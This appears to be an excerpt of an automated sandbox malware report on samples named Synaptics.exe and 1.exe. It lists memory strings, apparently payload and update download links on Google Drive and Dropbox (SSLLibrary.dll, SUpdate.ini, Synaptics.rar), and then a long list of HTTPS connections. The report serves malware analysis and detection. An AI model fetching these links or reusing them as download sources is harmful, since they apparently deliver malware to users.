Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwM0o
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007181000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwz
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4161328936.000000003D1BA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4188188699.000000003D7CD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3979963048.000000000F282000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3978093065.000000000F232000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.0000000005453000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000765000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxT4oi
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxb
Source: Synaptics.exe, 00000005.00000002.3974058499.000000000F0D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxjn-
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxr
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxrP
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3793507301.00000000053AE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4035966318.000000001D6C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.00000000006CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3798952705.0000000007252000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady
Source: Synaptics.exe, 00000005.00000002.3798952705.0000000007206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady%3n
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyI
Source: Synaptics.exe, 00000005.00000002.4056791504.000000001DC3B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F18A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4150630242.000000003CF06000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFB6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4155336317.000000003D06F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyo
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor.
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4061159510.000000001DD5D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor..
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor...
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyor.n
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4055649928.000000001DBD5000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4048983631.000000001DA11000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4162497563.000000003D214000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3DC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4046389003.000000001D96B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadzM
Source: Synaptics.exe, 00000005.00000002.4158195651.000000003D0F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D478000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4036918081.000000001D766000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4043781467.000000001D8C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D827000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152719967.000000003CFD6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000765000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4042244363.000000001D848000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3985224358.000000000F3AF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.00000000006CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~
Source: Synaptics.exe, 00000005.00000002.3798952705.00000000072EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~H
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=dv
Source: 1.exe, 00000003.00000003.1494516562.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloX
Source: 1.exe, 00000003.00000003.1494516562.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloXO
Source: 1.exe, 00000003.00000003.1491664366.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3789180579.0000000002120000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, 6QWwVh6L.exe.5.dr, 2.exe.0.dr, Synaptics.exe.3.dr, 1[1].exe.0.dr, RCXF081.tmp.5.dr, RCXE7D7.tmp.3.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/ucTr
Source: Synaptics.exe, 00000005.00000002.3975935402.000000000F144000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uctz
Source: Synaptics.exe, 00000005.00000002.3771674892.00000000006BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/v
Source: Synaptics.exe, 00000005.00000002.3989220929.0000000010ACE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3990598841.000000001174E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3990398740.000000001160E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4001475596.00000000156BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3987819457.000000000FBCE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3970042364.000000000EC8E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3988982519.000000001084E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3989930071.000000001124E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3994484660.000000001363E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3999853525.0000000014CBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3994638760.000000001377E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3991536075.000000001223E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3994929806.00000000139FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3969572691.000000000E8CE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3970282493.000000000EDCE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3993376394.0000000012D7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3969833991.000000000EB4E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3989815701.000000001110E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3856814733.000000000A7CE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3989460381.0000000010D4E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3988177761.000000000FF8E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.comuc?id=0BxsMXGfPIZfSVlVsOGlEVGxuVk&export=download
Source: Synaptics.exe, 00000005.00000002.3771674892.0000000000777000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4051796514.000000001DAD9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4157833186.000000003D0E1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4173459533.000000003D48C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1638832091.0000000000736000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4189762496.000000003D81F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.0000000000713000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3771674892.00000000006CC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4152039544.000000003CF77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAD9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4157833186.000000003D0E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAD9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4157833186.000000003D0E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc%
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAD9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4157833186.000000003D0E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc4
Source: Synaptics.exe, 00000005.00000002.4051796514.000000001DAD9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.4157833186.000000003D0E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcj
Source: 1.exe, 00000003.00000003.1494516562.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=0
Source: 1.exe, 00000003.00000003.1491664366.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3789180579.0000000002120000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, 6QWwVh6L.exe.5.dr, 2.exe.0.dr, Synaptics.exe.3.dr, 1[1].exe.0.dr, RCXF081.tmp.5.dr, RCXE7D7.tmp.3.dr	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
Source: 1.exe, 00000003.00000003.1494516562.0000000002190000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl
Source: 1.exe, 00000003.00000003.1491664366.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3789180579.0000000002120000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, 6QWwVh6L.exe.5.dr, 2.exe.0.dr, Synaptics.exe.3.dr, 1[1].exe.0.dr, RCXF081.tmp.5.dr, RCXE7D7.tmp.3.dr	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
Source: 1.exe, 00000003.00000003.1491664366.00000000007C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000005.00000003.1513850247.00000000006E3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000002.3789180579.0000000002120000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000005.00000003.1585381127.00000000006DF000.00000004.00000020.00020000.00000000.sdmp, 6QWwVh6L.exe.5.dr, 2.exe.0.dr, Synaptics.exe.3.dr, 1[1].exe.0.dr, RCXF081.tmp.5.dr, RCXE7D7.tmp.3.dr	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50502
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50501
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 50578 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50506
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50505
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50507
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50500
Source: unknown	Network traffic detected: HTTP traffic on port 50486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50509
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50515
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50514
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50517
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50519
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50518
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50511
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50510
Source: unknown	Network traffic detected: HTTP traffic on port 50303 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50269 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50524
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50523
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50526
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50525
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50527
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50529
Source: unknown	Network traffic detected: HTTP traffic on port 50507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50522
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50566 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50405 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 50510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 50382 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50556 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50591 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 50610 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 50282 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50247 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
